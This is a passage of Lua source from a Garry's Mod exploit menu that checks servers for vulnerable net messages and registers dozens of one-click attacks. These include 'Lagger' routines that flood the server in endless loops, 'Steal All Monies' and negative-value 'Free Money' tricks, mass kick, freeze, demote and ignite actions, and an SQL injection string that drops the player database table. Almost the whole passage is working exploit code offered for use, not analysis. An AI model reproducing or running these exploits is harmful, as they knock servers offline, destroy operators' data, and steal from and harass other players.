2924 ECNotify("Starting")
2925 net.Start("NLR_SPAWN")
2926 net.WriteEntity(LocalPlayer())
2927 net.SendToServer()
2928 end)
2929 end
2930
2931 status = ValidNetString("Kun_ZiptieStruggle")
2932
2933 if (status) then
2934 ECPrint("Found Exploit: Break Handcuffs [Kun_ZiptieStruggle]")
2935
2936 addExploit("80", "Break Handcuffs", "Instantly breaks the handcuffs", function()
2937 surface.PlaySound("garrysmod/ui_click.wav")
2938 ECNotify("Starting")
2939
2940 for i = 0, 30 do
2941 net.Start("Kun_ZiptieStruggle")
2942 net.SendToServer()
2943 end
2944 end)
2945 end
2946
2947 status = ValidNetString("JB_Votekick")
2948
2949 if (status) then
2950 ECPrint("Found Exploit: Abuses Jailbreak Votekick [JB_Votekick]")
2951
2952 addExploit("81", "Abuses Jailbreak Votekick", "kick all players", function()
2953 surface.PlaySound("garrysmod/ui_click.wav")
2954 ECNotify("Starting")
2955
2956 for k, v in pairs(player.GetAll()) do
2957 net.Start("JB_Votekick")
2958 net.WriteEntity(v)
2959 net.WriteString("what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? what? ")
2960 net.SendToServer()
2961 end
2962 end)
2963 end
2964
2965 status = ValidNetString("Letthisdudeout")
2966
2967 if (status) then
2968 ECPrint("Found Exploit: ByB Force Bail [Letthisdudeout]")
2969
2970 addExploit("82", "ByB Force Bail", "exploit on all Byb servers to bail yourself out", function()
2971 surface.PlaySound("garrysmod/ui_click.wav")
2972 ECNotify("Starting")
2973 net.Start("Letthisdudeout")
2974 net.WriteEntity(LocalPlayer())
2975 net.SendToServer()
2976 end)
2977 end
2978
2979 status = ValidNetString("opr_withdraw")
2980
2981 if (status) then
2982 ECPrint("Found Exploit: Lagger #14 [opr_withdraw]")
2983
2984 addExploit("83", "Lagger #14", "discovered by Leith", function()
2985 surface.PlaySound("garrysmod/ui_click.wav")
2986 ECNotify("Starting")
2987
2988 timer.Create("lagger14", 0, 0, function()
2989 for i = 1, 1000 do
2990 net.Start("opr_withdraw", true)
2991 net.WriteEntity(LocalPlayer())
2992 net.SendToServer()
2993 end
2994 end)
2995 end)
2996 end
2997
2998 status = ValidNetString("NC_GetNameChange")
2999
3000 if (status) then
3001 ECPrint("Found Exploit: Change all names [NC_GetNameChange]")
3002
3003 addExploit("84", "Change all names", "allows you to change the rp names of all players", function()
3004 surface.PlaySound("garrysmod/ui_click.wav")
3005 inputFrameExists = true
3006 inputFrame = vgui.Create("DFrame")
3007 inputFrame:SetTitle("Enter the name")
3008 inputFrame:SetSize(400, 75)
3009 inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230)
3010 inputFrame:SetDraggable(false)
3011 inputFrame:ShowCloseButton(true)
3012 inputFrame:MakePopup()
3013
3014 inputFrame.Paint = function(self, w, h)
3015 draw.RoundedBox(5, 0, 0, w, h, Color(30, 30, 30))
3016 end
3017
3018 local TextEntry = vgui.Create("DTextEntry", inputFrame)
3019 TextEntry:SetSize(380, 30)
3020 TextEntry:SetPos(inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2)
3021 TextEntry:SetText("AHAHAHAHAH")
3022
3023 TextEntry.OnEnter = function(self)
3024 surface.PlaySound("garrysmod/ui_click.wav")
3025 ECNotify("Starting")
3026
3027 for k, v in pairs(player.GetAll()) do
3028 net.Start("NC_GetNameChange")
3029 net.WriteEntity(v)
3030 net.WriteString((self:GetValue()))
3031 net.WriteString((self:GetValue()))
3032 net.SendToServer()
3033 end
3034 end
3035 end)
3036 end
3037
3038 status = ValidNetString("revival_revive_accept")
3039
3040 if (status) then
3041 ECPrint("Found Exploit: Reanimation #2 [revival_revive_accept]")
3042
3043 addExploit("85", "Reanimation #2", "instant revival, discovered by Leith", function()
3044 surface.PlaySound("garrysmod/ui_click.wav")
3045
3046 if not timer.Exists("exploit_revive") then
3047 ECNotify("Enabled")
3048
3049 timer.Create("exploit_revive", 0.5, 0, function()
3050 if not LocalPlayer():Alive() then
3051 net.Start("revival_revive_accept")
3052 net.SendToServer()
3053 end
3054 end)
3055 else
3056 timer.Remove("exploit_revive")
3057 ECNotify("Disabled")
3058 end
3059 end)
3060 end
3061
3062 status = ValidNetString("join_disconnect")
3063
3064 if (status) then
3065 ECPrint("Found Exploit: Lagger #15 [join_disconnect]")
3066
3067 addExploit("86", "Lagger #15", "b1g lags my duder", function()
3068 surface.PlaySound("garrysmod/ui_click.wav")
3069 ECNotify("Starting")
3070
3071 if not timer.Exists("lagger15") then
3072 timer.Create("lagger15", 0.5, 0, function()
3073 for i = 1, 3000 do
3074 net.Start("join_disconnect", true)
3075 net.WriteEntity(table.Random(player.GetAll()))
3076 net.SendToServer()
3077 end
3078 end)
3079 else
3080 timer.Remove("lagger15")
3081 ECNotify("Stopping")
3082 end
3083 end)
3084 end
3085
3086 status = ValidNetString("BuyFirstTovar")
3087
3088 if (status) then
3089 ECPrint("Found Exploit: Free Physgun [BuyFirstTovar]")
3090
3091 addExploit("87", "Free Physgun", "get physgun", function()
3092 surface.PlaySound("garrysmod/ui_click.wav")
3093 ECNotify("Take physgun")
3094 net.Start("BuyFirstTovar")
3095 net.WriteString("0")
3096 net.SendToServer()
3097 end)
3098 end
3099
3100 status = ValidNetString("BuySecondTovar")
3101
3102 if (status) then
3103 ECPrint("Found Exploit: Free Gravitygun [BuySecondTovar]")
3104
3105 addExploit("88", "Free Gravitygun", "get gravitygun", function()
3106 surface.PlaySound("garrysmod/ui_click.wav")
3107 ECNotify("Take gravitygun")
3108 net.Start("BuySecondTovar")
3109 net.WriteString("0")
3110 net.SendToServer()
3111 end)
3112 end
3113
3114 status = ValidNetString("MONEY_SYSTEM_GetWeapons")
3115
3116 if (status) then
3117 ECPrint("Found Exploit: Give Weapons #2 [MONEY_SYSTEM_GetWeapons]")
3118
3119 addExploit("89", "Give Weapons #2", "get weapons", function()
3120 surface.PlaySound("garrysmod/ui_click.wav")
3121 ECNotify("Starting")
3122
3123 for i = 1, 32 do
3124 net.Start("MONEY_SYSTEM_GetWeapons")
3125 net.WriteInt(i, 8)
3126 net.SendToServer()
3127 end
3128 end)
3129 end
3130
3131 status = ValidNetString("MCon_Demote_ToServer")
3132
3133 if (status) then
3134 ECPrint("Found Exploit: Demote All Players #2 [MCon_Demote_ToServer]")
3135
3136 addExploit("90", "Demote All Players #2", "demote all players", function()
3137 surface.PlaySound("garrysmod/ui_click.wav")
3138 ECNotify("Starting")
3139
3140 for k, v in pairs(player.GetAll()) do
3141 net.Start("MCon_Demote_ToServer")
3142 net.WriteString(v:SteamID())
3143 net.SendToServer()
3144 end
3145 end)
3146 end
3147
3148 status = ValidNetString("withdrawMoney")
3149
3150 if (status) then
3151 ECPrint("Found Exploit: Steal All Monies #3 [withdrawMoney]")
3152
3153 addExploit("91", "Steal All Monies #3", "withdraw money from all printers, discovered by Leith", function()
3154 surface.PlaySound("garrysmod/ui_click.wav")
3155 ECNotify("Starting")
3156
3157 for k, v in pairs(ents.GetAll()) do
3158 net.Start("withdrawMoney")
3159 net.WriteEntity(v)
3160 net.SendToServer()
3161 end
3162 end)
3163 end
3164
3165 status = ValidNetString("withdrawMoney")
3166
3167 if (status) then
3168 ECPrint("Found Exploit: Lagger #16 [withdrawMoney]")
3169
3170 addExploit("92", "Lagger #16", "discovered by Leith", function()
3171 surface.PlaySound("garrysmod/ui_click.wav")
3172 ECNotify("Starting")
3173
3174 timer.Create("lagger16", 0, 0, function()
3175 for i = 1, 1000 do
3176 net.Start("withdrawMoney", true)
3177 net.WriteEntity(LocalPlayer())
3178 net.SendToServer()
3179 end
3180 end)
3181 end)
3182 end
3183
3184 status = ValidNetString("SyncPrinterButtons76561198027292625")
3185
3186 if (status) then
3187 ECPrint("Found Exploit: Steal All Monies #4 [SyncPrinterButtons76561198027292625]")
3188
3189 addExploit("93", "Steal All Monies #4", "withdraw money from all printers", function()
3190 surface.PlaySound("garrysmod/ui_click.wav")
3191 ECNotify("Starting")
3192
3193 for k, v in pairs(ents.GetAll()) do
3194 net.Start("SyncPrinterButtons76561198027292625")
3195 net.WriteEntity(v)
3196 net.WriteUInt(2, 4)
3197 net.SendToServer()
3198 end
3199 end)
3200 end
3201
3202 status = ValidNetString("gPrinters.retrieveMoney")
3203
3204 if (status) then
3205 ECPrint("Found Exploit: Steal All Monies #5 [gPrinters.retrieveMoney]")
3206
3207 addExploit("94", "Steal All Monies #5", "withdraw money from all printers, discovered by Leith", function()
3208 surface.PlaySound("garrysmod/ui_click.wav")
3209 ECNotify("Starting")
3210
3211 for k, v in pairs(ents.GetAll()) do
3212 net.Start("gPrinters.retrieveMoney")
3213 net.WriteEntity(v)
3214 net.SendToServer()
3215 end
3216 end)
3217 end
3218
3219 status = ValidNetString("gPrinters.retrieveMoney")
3220
3221 if (status) then
3222 ECPrint("Found Exploit: Lagger #17 [gPrinters.retrieveMoney]")
3223
3224 addExploit("95", "Lagger #17", "discovered by Leith", function()
3225 surface.PlaySound("garrysmod/ui_click.wav")
3226 ECNotify("Starting")
3227
3228 timer.Create("lagger17", 0, 0, function()
3229 for i = 1, 1000 do
3230 net.Start("gPrinters.retrieveMoney", true)
3231 net.WriteEntity(LocalPlayer())
3232 net.SendToServer()
3233 end
3234 end)
3235 end)
3236 end
3237
3238 status = ValidNetString("NGII_TakeMoney")
3239
3240 if (status) then
3241 ECPrint("Found Exploit: Steal All Monies #6 [NGII_TakeMoney]")
3242
3243 addExploit("96", "Steal All Monies #6", "withdraw money from all printers", function()
3244 surface.PlaySound("garrysmod/ui_click.wav")
3245 ECNotify("Starting")
3246
3247 for k, v in pairs(ents.GetAll()) do
3248 net.Start("NGII_TakeMoney")
3249 net.WriteEntity(v)
3250 net.WriteEntity(LocalPlayer())
3251 net.SendToServer()
3252 end
3253 end)
3254 end
3255
3256 status = ValidNetString("money_clicker_withdraw")
3257
3258 if (status) then
3259 ECPrint("Found Exploit: Lagger #18 [money_clicker_withdraw]")
3260
3261 addExploit("97", "Lagger #18", "discovered by Leith", function()
3262 surface.PlaySound("garrysmod/ui_click.wav")
3263 ECNotify("Starting")
3264
3265 timer.Create("lagger18", 0, 0, function()
3266 for i = 1, 1000 do
3267 net.Start("money_clicker_withdraw", true)
3268 net.WriteEntity(LocalPlayer())
3269 net.SendToServer()
3270 end
3271 end)
3272 end)
3273 end
3274
3275 status = ValidNetString("opr_withdraw")
3276
3277 if (status) then
3278 ECPrint("Found Exploit: Steal All Monies #7 [opr_withdraw]")
3279
3280 addExploit("98", "Steal All Monies #7", "withdraw money from all printers", function()
3281 surface.PlaySound("garrysmod/ui_click.wav")
3282 ECNotify("Starting")
3283
3284 for k, v in pairs(ents.GetAll()) do
3285 net.Start("opr_withdraw")
3286 net.WriteEntity(v)
3287 net.SendToServer()
3288 end
3289 end)
3290 end
3291
3292 status = ValidNetString("NET_DoPrinterAction")
3293
3294 if (status) then
3295 ECPrint("Found Exploit: Steal All Monies #8 [NET_DoPrinterAction]")
3296
3297 addExploit("99", "Steal All Monies #8", "withdraw money from all printers", function()
3298 surface.PlaySound("garrysmod/ui_click.wav")
3299 ECNotify("Starting")
3300
3301 for k, v in pairs(ents.GetAll()) do
3302 if v:GetClass():find("print") then
3303 net.Start("NET_DoPrinterAction")
3304 net.WriteEntity(LocalPlayer())
3305 net.WriteEntity(v)
3306 net.WriteInt(2, 16)
3307 net.SendToServer()
3308 end
3309 end
3310 end)
3311 end
3312
3313 status = ValidNetString("tickbooksendfine")
3314
3315 if (status) then
3316 ECPrint("Found Exploit: Ticket Book [tickbooksendfine]")
3317
3318 addExploit("100", "Ticket Book", "allows you to write a fine to all players, discovered by Leith", function()
3319 surface.PlaySound("garrysmod/ui_click.wav")
3320 ECNotify("Starting")
3321 local reasonstable = {"NICE EXPLOIT, RIGHT? discord.gg/2cG6Mcp"}
3322
3323 for k, v in pairs(player.GetAll()) do
3324 if v ~= LocalPlayer() then
3325 net.Start("tickbooksendfine")
3326 net.WriteString(v:SteamID())
3327 net.WriteTable(reasonstable)
3328 net.WriteDouble(3000, 32)
3329 net.SendToServer()
3330 end
3331 end
3332 end)
3333 end
3334
3335 status = ValidNetString("SyncPrinterButtons16690")
3336
3337 if (status) then
3338 ECPrint("Found Exploit: Steal All Monies #9 [SyncPrinterButtons16690]")
3339
3340 addExploit("101", "Steal All Monies #9", "withdraw money from all printers", function()
3341 surface.PlaySound("garrysmod/ui_click.wav")
3342 ECNotify("Starting")
3343
3344 for k, v in pairs(ents.GetAll()) do
3345 if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
3346 net.Start("SyncPrinterButtons16690")
3347 net.WriteEntity(v)
3348 net.WriteUInt(2, 4)
3349 net.SendToServer()
3350 end
3351 end
3352 end)
3353 end
3354
3355 status = ValidNetString("withdrawp")
3356
3357 if (status) then
3358 ECPrint("Found Exploit: Steal All Monies #10 [withdrawp]")
3359
3360 addExploit("102", "Steal All Monies #10", "withdraw money from all printers", function()
3361 surface.PlaySound("garrysmod/ui_click.wav")
3362 ECNotify("Starting")
3363
3364 for k, v in pairs(ents.FindByClass("derma_printer")) do
3365 net.Start("withdrawp")
3366 net.WriteEntity(v)
3367 net.SendToServer()
3368 end
3369 end)
3370 end
3371
3372 status = ValidNetString("withdrawp")
3373
3374 if (status) then
3375 ECPrint("Found Exploit: Lagger #19 [withdrawp]")
3376
3377 addExploit("103", "Lagger #19", "discovered by Leith", function()
3378 surface.PlaySound("garrysmod/ui_click.wav")
3379 ECNotify("Starting")
3380
3381 timer.Create("lagger19", 0, 0, function()
3382 for i = 1, 1000 do
3383 net.Start("withdrawp", true)
3384 net.WriteEntity(LocalPlayer())
3385 net.SendToServer()
3386 end
3387 end)
3388 end)
3389 end
3390
3391 status = ValidNetString("DarkRP_SS_Gamble")
3392
3393 if (status) then
3394 ECPrint("Found Exploit: Free Money #3 [DarkRP_SS_Gamble]")
3395
3396 addExploit("104", "Free Money #3", "an exploit in the addon 'DarkRP Casino'", function()
3397 surface.PlaySound("garrysmod/ui_click.wav")
3398 ECNotify("Starting")
3399 net.Start("DarkRP_SS_Gamble")
3400 net.WriteInt(99999, 32)
3401 net.WriteInt(1, 32)
3402 net.WriteInt(0, 32)
3403 net.WriteInt(0, 32)
3404 net.WriteInt(1, 32)
3405 net.SendToServer()
3406 end)
3407 end
3408
3409 status = ValidNetString("PCAdd")
3410
3411 if (status) then
3412 ECPrint("Found Exploit: Delete Promocode [PCAdd]")
3413
3414 addExploit("105", "Delete Promocode", "delete all promocodes", function()
3415 surface.PlaySound("garrysmod/ui_click.wav")
3416 ECNotify("Starting")
3417 net.Start("PCAdd")
3418 net.WriteString("alahman")
3419 net.WriteString("300000000")
3420 net.SendToServer()
3421
3422 timer.Simple(3, function()
3423 net.Start("ActivatePC")
3424 net.WriteString("alahman")
3425 net.SendToServer()
3426 net.Start("PCDelAll")
3427 net.SendToServer()
3428 end)
3429 end)
3430 end
3431
3432 status = ValidNetString("viv_hl2rp_disp_message")
3433
3434 if (status) then
3435 ECPrint("Found Exploit: HL2 Disp Message [viv_hl2rp_disp_message]")
3436
3437 addExploit("106", "HL2 Disp Message", "hl2 voice commands", function()
3438 surface.PlaySound("garrysmod/ui_click.wav")
3439 ECNotify("Starting")
3440
3441 for name, command in pairs(dispatchCommands) do
3442 net.Start("viv_hl2rp_disp_message")
3443 net.WriteString(command)
3444 net.SendToServer()
3445 end
3446 end)
3447 end
3448
3449 status = ValidNetString("Kun_SellDrug")
3450
3451 if (status) then
3452 ECPrint("Found Exploit: Free Money #4 [Kun_SellDrug]")
3453
3454 addExploit("107", "Free Money #4", "get monies", function()
3455 surface.PlaySound("garrysmod/ui_click.wav")
3456
3457 if not timer.Exists("freemoney4") then
3458 ECNotify("Starting")
3459
3460 timer.Create("freemoney4", 0, 0, function()
3461 for i = 1, 1000 do
3462 net.Start("Kun_SellDrug")
3463 net.WriteString("mushroom")
3464 net.SendToServer()
3465 end
3466 end)
3467 else
3468 timer.Remove("freemoney4")
3469 ECNotify("Stopping")
3470 end
3471 end)
3472 end
3473
3474 status = ValidNetString("net_PSUnBoxServer")
3475
3476 if (status) then
3477 ECPrint("Found Exploit: Point Shop Unbox [net_PSUnBoxServer]")
3478
3479 addExploit("108", "Point Shop Unbox", "an exploit in the addon 'Point Shop", function()
3480 surface.PlaySound("garrysmod/ui_click.wav")
3481 ECNotify("Starting")
3482
3483 for k, v in pairs(player.GetAll()) do
3484 local i = 0
3485
3486 for k2, v2 in pairs(PS.Items) do
3487 if not v:PS_HasItem(v2.ID) then
3488 timer.Simple(k * i * 1.7, function()
3489 net.Start("net_PSUnBoxServer")
3490 net.WriteEntity(v)
3491 net.WriteString(v2.ID)
3492 net.SendToServer()
3493 end)
3494
3495 i = i + 1
3496 end
3497 end
3498 end
3499 end)
3500 end
3501
3502 status = ValidNetString("pplay_sendtable")
3503
3504 if (status) then
3505 ECPrint("Found Exploit: ☢ Fuck the SQL database ☢ [pplay_sendtable]")
3506
3507 addExploit("109", "☢ Fuck the SQL database ☢", "fuck all", function()
3508 surface.PlaySound("garrysmod/ui_click.wav")
3509 ECNotify("Starting")
3510 local tbl = {}
3511 tbl.tblname = "darkrp_door; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
3512 tbl.ply = LocalPlayer()
3513 net.Start("pplay_sendtable")
3514 net.WriteTable(tbl)
3515 net.SendToServer()
3516 end)
3517 end
3518
3519 status = ValidNetString("75_plus_win")
3520
3521 if (status) then
3522 ECPrint("Found Exploit: Free Money #5 [75_plus_win]")
3523
3524 addExploit("110", "Free Money #5", "get money", function()
3525 surface.PlaySound("garrysmod/ui_click.wav")
3526 ECNotify("Starting")
3527 net.Start("75_plus_win")
3528 net.WriteString("99999999")
3529 net.WriteEntity(LocalPlayer())
3530 net.SendToServer()
3531 end)
3532 end
3533
3534 status = ValidNetString("ATMDepositMoney")
3535
3536 if (status) then
3537 ECPrint("Found Exploit: Free Money #6 [ATMDepositMoney]")
3538
3539 addExploit("111", "Free Money #6", "an exploit in 'ATM'", function()
3540 surface.PlaySound("garrysmod/ui_click.wav")
3541 ECNotify("Starting")
3542 net.Start("ATMDepositMoney")
3543 net.WriteFloat(-9999999)
3544 net.SendToServer()
3545 end)
3546 end
3547
3548 status = ValidNetString("SellMinerals")
3549
3550 if (status) then
3551 ECPrint("Found Exploit: Free Money #7 [SellMinerals]")
3552
3553 addExploit("112", "Free Money #7", "an exploit in 'eMining'", function()
3554 surface.PlaySound("garrysmod/ui_click.wav")
3555 ECNotify("Starting")
3556
3557 for k, v in pairs(SkillDB) do
3558 if not (v.iSkill == true) then
3559 net.Start("Upgrade")
3560
3561 net.WriteTable({
3562 LuaName = v.LuaName,
3563 Amount = -9999999
3564 })
3565
3566 net.SendToServer()
3567 net.Start("SellMinerals")
3568
3569 net.WriteTable({
3570 Target = LocalPlayer()
3571 })
3572
3573 net.SendToServer()
3574 end
3575 end
3576 end)
3577 end
3578
3579 status = ValidNetString("TakeBetMoney")
3580
3581 if (status) then
3582 ECPrint("Found Exploit: Free Money #8 [TakeBetMoney]")
3583
3584 addExploit("113", "Free Money #8", "get money", function()
3585 surface.PlaySound("garrysmod/ui_click.wav")
3586 ECNotify("Starting")
3587 net.Start("TakeBetMoney")
3588 net.WriteTable({1e333333, 1e333333})
3589 net.SendToServer()
3590 end)
3591 end
3592
3593 status = ValidNetString("Kun_SellOil")
3594
3595 if (status) then
3596 ECPrint("Found Exploit: Free Money #9 [Kun_SellOil]")
3597
3598 addExploit("114", "Free Money #9", "get money", function()
3599 surface.PlaySound("garrysmod/ui_click.wav")
3600 ECNotify("Starting")
3601
3602 for k, v in pairs(ents.GetAll()) do
3603 net.Start("Kun_SellOil")
3604 net.WriteEntity(v)
3605 net.SendToServer()
3606 end
3607 end)
3608 end
3609
3610
3611 status = ValidNetString("DepositMoney")
3612
3613 if (status) then
3614 ECPrint("Found Exploit: Free Money #10 [DepositMoney]")
3615
3616 addExploit("115", "Free Money #10", "get money", function()
3617 surface.PlaySound("garrysmod/ui_click.wav")
3618 ECNotify("Starting")
3619 net.Start("DepositMoney")
3620
3621 for k, v in pairs(ents.GetAll()) do
3622 net.WriteEntity(v)
3623 net.WriteString(-100000000)
3624 net.WriteEntity(LocalPlayer())
3625 net.SendToServer()
3626 end
3627 end)
3628 end
3629
3630 status = ValidNetString("NET_SS_DoBuyTakeoff")
3631
3632 if (status) then
3633 ECPrint("Found Exploit: Free Money #11 [NET_SS_DoBuyTakeoff]")
3634
3635 addExploit("116", "Free Money #11", "get money", function()
3636 surface.PlaySound("garrysmod/ui_click.wav")
3637 ECNotify("Starting")
3638 net.Start("NET_SS_DoBuyTakeoff", true)
3639 net.WriteEntity(LocalPlayer())
3640 net.WriteEntity(table.Random(player.GetAll()))
3641 net.WriteTable({})
3642 net.WriteInt(-1000000000000000000000000000000000000000000000000000000000000000000, 16)
3643 net.SendToServer()
3644 end)
3645 end
3646
3647 status = ValidNetString("NET_EcSetTax")
3648
3649 if (status) then
3650 ECPrint("Found Exploit: Free Money #12 [NET_EcSetTax]")
3651
3652 addExploit("117", "Free Money #12", "get money", function()
3653 surface.PlaySound("garrysmod/ui_click.wav")
3654 ECNotify("Starting")
3655 net.Start("NET_EcSetTax")
3656 net.WriteInt(-9999999999, 16)
3657 net.SendToServer()
3658 end)
3659 end
3660
3661 status = ValidNetString("RP_Accept_Fine")
3662
3663 if (status) then
3664 ECPrint("Found Exploit: Free Money #13 [RP_Accept_Fine]")
3665
3666 addExploit("118", "Free Money #13", "get money", function()
3667 surface.PlaySound("garrysmod/ui_click.wav")
3668 ECNotify("Starting")
3669
3670 for k, v in pairs(player.GetAll()) do
3671 net.Start("RP_Accept_Fine")
3672 net.WriteString(v:Nick())
3673 net.WriteDouble(-999999999999)
3674 net.SendToServer()
3675 end
3676 end)
3677 end
3678
3679 status = ValidNetString("drugseffect_remove")
3680
3681 if (status) then
3682 ECPrint("Found Exploit: Remove Weapons [drugseffect_remove]")
3683
3684 addExploit("119", "Remove Weapons", "remove all weapons", function()
3685 surface.PlaySound("garrysmod/ui_click.wav")
3686 ECNotify("Starting")
3687 net.Start("drugseffect_remove")
3688 net.SendToServer()
3689 end)
3690 end
3691
3692 status = ValidNetString("drugs_money")
3693
3694 if (status) then
3695 ECPrint("Found Exploit: Remove Money [drugs_money]")
3696
3697 addExploit("120", "Remove Money", "remove all money", function()
3698 surface.PlaySound("garrysmod/ui_click.wav")
3699 ECNotify("Starting")
3700 net.Start("drugs_money")
3701 net.SendToServer()
3702 end)
3703 end
3704
3705 status = ValidNetString("CRAFTINGMOD_SHOP")
3706
3707 if (status) then
3708 ECPrint("Found Exploit: Free Money #14 [CRAFTINGMOD_SHOP]")
3709
3710 addExploit("121", "Free Money #14", "an exploit in 'crafting mod'", function()
3711 surface.PlaySound("garrysmod/ui_click.wav")
3712 ECNotify("Starting")
3713 net.Start("CRAFTINGMOD_SHOP")
3714
3715 net.WriteTable({
3716 BUY = -9999999,
3717 type = 1
3718 })
3719
3720 net.WriteInt(1, 16)
3721 net.SendToServer()
3722 end)
3723 end
3724
3725 status = ValidNetString("drugs_ignite")
3726
3727 if (status) then
3728 ECPrint("Found Exploit: Fire Players [drugs_ignite]")
3729
3730 addExploit("122", "Fire Players", "", function()
3731 surface.PlaySound("garrysmod/ui_click.wav")
3732 ECNotify("Starting")
3733 net.Start("drugs_ignite")
3734 net.WriteString("player")
3735 net.SendToServer()
3736 end)
3737 end
3738
3739 status = ValidNetString("drugs_ignite")
3740
3741 if (status) then
3742 ECPrint("Found Exploit: Fire Props [drugs_ignite]")
3743
3744 addExploit("123", "Fire Props", "", function()
3745 surface.PlaySound("garrysmod/ui_click.wav")
3746 ECNotify("Starting")
3747 net.Start("drugs_ignite")
3748 net.WriteString("prop_physics")
3749 net.SendToServer()
3750 end)
3751 end
3752
3753 status = ValidNetString("drugseffect_hpremove")
3754
3755 if (status) then
3756 ECPrint("Found Exploit: Change HP [drugseffect_hpremove]")
3757
3758 addExploit("124", "Change HP", "", function()
3759 surface.PlaySound("garrysmod/ui_click.wav")
3760 ECNotify("Starting")
3761 net.Start("drugseffect_hpremove")
3762 net.WriteString(99999)
3763 net.SendToServer()
3764 end)
3765 end
3766
3767 status = ValidNetString("drugs_text")
3768
3769 if (status) then
3770 ECPrint("Found Exploit: Delete All Props #2 [drugs_text]")
3771
3772 addExploit("125", "Delete All Props #2", "", function()
3773 surface.PlaySound("garrysmod/ui_click.wav")
3774 ECNotify("Starting")
3775 net.Start("drugs_text")
3776 net.WriteString("prop_physics")
3777 net.SendToServer()
3778 end)
3779 end
3780
3781 status = ValidNetString("drugs_give")
3782
3783 if (status) then
3784 ECPrint("Found Exploit: Give Everyone RPG [drugs_give]")
3785
3786 addExploit("126", "Give Everyone RPG", "", function()
3787 surface.PlaySound("garrysmod/ui_click.wav")
3788 ECNotify("Starting")
3789 net.Start("drugs_give")
3790 net.WriteString("weapon_rpg")
3791 net.SendToServer()
3792 end)
3793 end
3794
3795 status = ValidNetString("drugs_text")
3796
3797 if (status) then
3798 ECPrint("Found Exploit: Remove Water [drugs_text]")
3799
3800 addExploit("127", "Remove Water", "", function()
3801 surface.PlaySound("garrysmod/ui_click.wav")
3802 ECNotify("Starting")
3803 net.Start("drugs_text")
3804 net.WriteString("func_water_analog")
3805 net.SendToServer()
3806 end)
3807 end
3808
3809 status = ValidNetString("drugs_effect")
3810
3811 if (status) then
3812 local eye = LocalPlayer():GetEyeTrace().Entity
3813 local send = "del|" .. eye:EntIndex()
3814 ECPrint("Found Exploit: Remove looking at [drugs_effect]")
3815
3816 addExploit("128", "Remove looking at", "", function()
3817 surface.PlaySound("garrysmod/ui_click.wav")
3818 ECNotify("Starting")
3819 net.Start("drugs_effect")
3820 net.WriteString(send)
3821 net.SendToServer()
3822 end)
3823 end
3824
3825 status = ValidNetString("RecKickAFKer")
3826
3827 if (status) then
3828 ECPrint("Found Exploit: Kick Everyone #2 [RecKickAFKer]")
3829
3830 addExploit("129", "Kick Everyone #2", "kick all players", function()
3831 surface.PlaySound("garrysmod/ui_click.wav")
3832 ECNotify("Starting")
3833
3834 for k, v in pairs(player.GetAll()) do
3835 net.Start("RecKickAFKer")
3836 net.WriteEntity(v)
3837 net.SendToServer()
3838 end
3839 end)
3840 end
3841
3842 status = ValidNetString("GMBG:PickupItem")
3843
3844 if (status) then
3845 ECPrint("Found Exploit: Loot Items [GMBG:PickupItem]")
3846
3847 addExploit("130", "Loot Items", "", function()
3848 surface.PlaySound("garrysmod/ui_click.wav")
3849 ECNotify("Starting")
3850
3851 for k, v in pairs(ents.GetAll()) do
3852 if v:GetClass() == "item_loot" then
3853 net.Start("GMBG:PickupItem")
3854 net.WriteEntity(v)
3855 net.SendToServer()
3856 net.Start("GMBG:PickupItem")
3857 net.WriteEntity(v)
3858 net.SendToServer()
3859 net.Start("GMBG:PickupItem")
3860 net.WriteEntity(v)
3861 net.SendToServer()
3862 net.Start("GMBG:PickupItem")
3863 net.WriteEntity(v)
3864 net.SendToServer()
3865 net.Start("GMBG:PickupItem")
3866 net.WriteEntity(v)
3867 net.SendToServer()
3868 net.Start("GMBG:PickupItem")
3869 net.WriteEntity(v)
3870 net.SendToServer()
3871 end
3872 end
3873 end)
3874 end
3875
3876 status = ValidNetString("plyWarning")
3877
3878 if (status) then
3879 ECPrint("Found Exploit: Kick Everyone #3 [plyWarning]")
3880
3881 addExploit("131", "Kick Everyone #3", "kick all players", function()
3882 surface.PlaySound("garrysmod/ui_click.wav")
3883 ECNotify("Starting")
3884
3885 for k, v in pairs(player.GetAll()) do
3886 net.Start('plyWarning')
3887 net.WriteEntity(v)
3888 net.WriteString('You have to select a player before doing a action.')
3889 net.SendToServer()
3890 end
3891 end)
3892 end
3893
3894 status = ValidNetString("NLR.ActionPlayer")
3895
3896 if (status) then
3897 ECPrint("Found Exploit: Freeze Everyone [NLR.ActionPlayer]")
3898
3899 addExploit("132", "Freeze Everyone", "", function()
3900 surface.PlaySound("garrysmod/ui_click.wav")
3901 ECNotify("Starting")
3902
3903 for k, v in pairs(player.GetAll()) do
3904 net.Start("NLR.ActionPlayer")
3905 net.WriteEntity(v)
3906 net.SendToServer()
3907 end
3908 end)
3909 end
3910
3911 status = ValidNetString("kart_sell")
3912
3913 if (status) then
3914 ECPrint("Found Exploit: Free Money #15 [kart_sell]")
3915
3916 addExploit("133", "Free Money #15", "get money", function()
3917 surface.PlaySound("garrysmod/ui_click.wav")
3918 ECNotify("Starting")
3919
3920 for i = 1, 300 do
3921 net.Start("kart_sell")
3922 net.WriteString("sw_gokart")
3923 net.SendToServer()
3924 end
3925 end)
3926 end
3927
3928 status = ValidNetString("ClickerAddToPoints")
3929
3930 if (status) then
3931 ECPrint("Found Exploit: Free Points [ClickerAddToPoints]")
3932
3933 addExploit("134", "Free Points", "", function()
3934 surface.PlaySound("garrysmod/ui_click.wav")
3935 ECNotify("Starting")
3936 net.Start("ClickerAddToPoints")
3937 net.WriteInt(99999999, 32)
3938 net.SendToServer()
3939 end)
3940 end
3941
3942 status = ValidNetString("bodyman_model_change")
3943
3944 if (status) then
3945 ECPrint("Found Exploit: Body Groups [bodyman_model_change]")
3946
3947 addExploit("135", "Body Groups", "constantly changes your appearance", function()
3948 surface.PlaySound("garrysmod/ui_click.wav")
3949 ECNotify("Starting")
3950 local PM = 1
3951 local SK = 1
3952 local BG = 1
3953 local HN = 1
3954 local TS = 1
3955 local GL = 1
3956 local LG = 1
3957
3958 if not timer.Exists("bodygroups") then
3959 timer.Create("bodygroups", 0, 0, function()
3960 PlayerModels = {0, 1, 2, 3, 4, 5, 6}
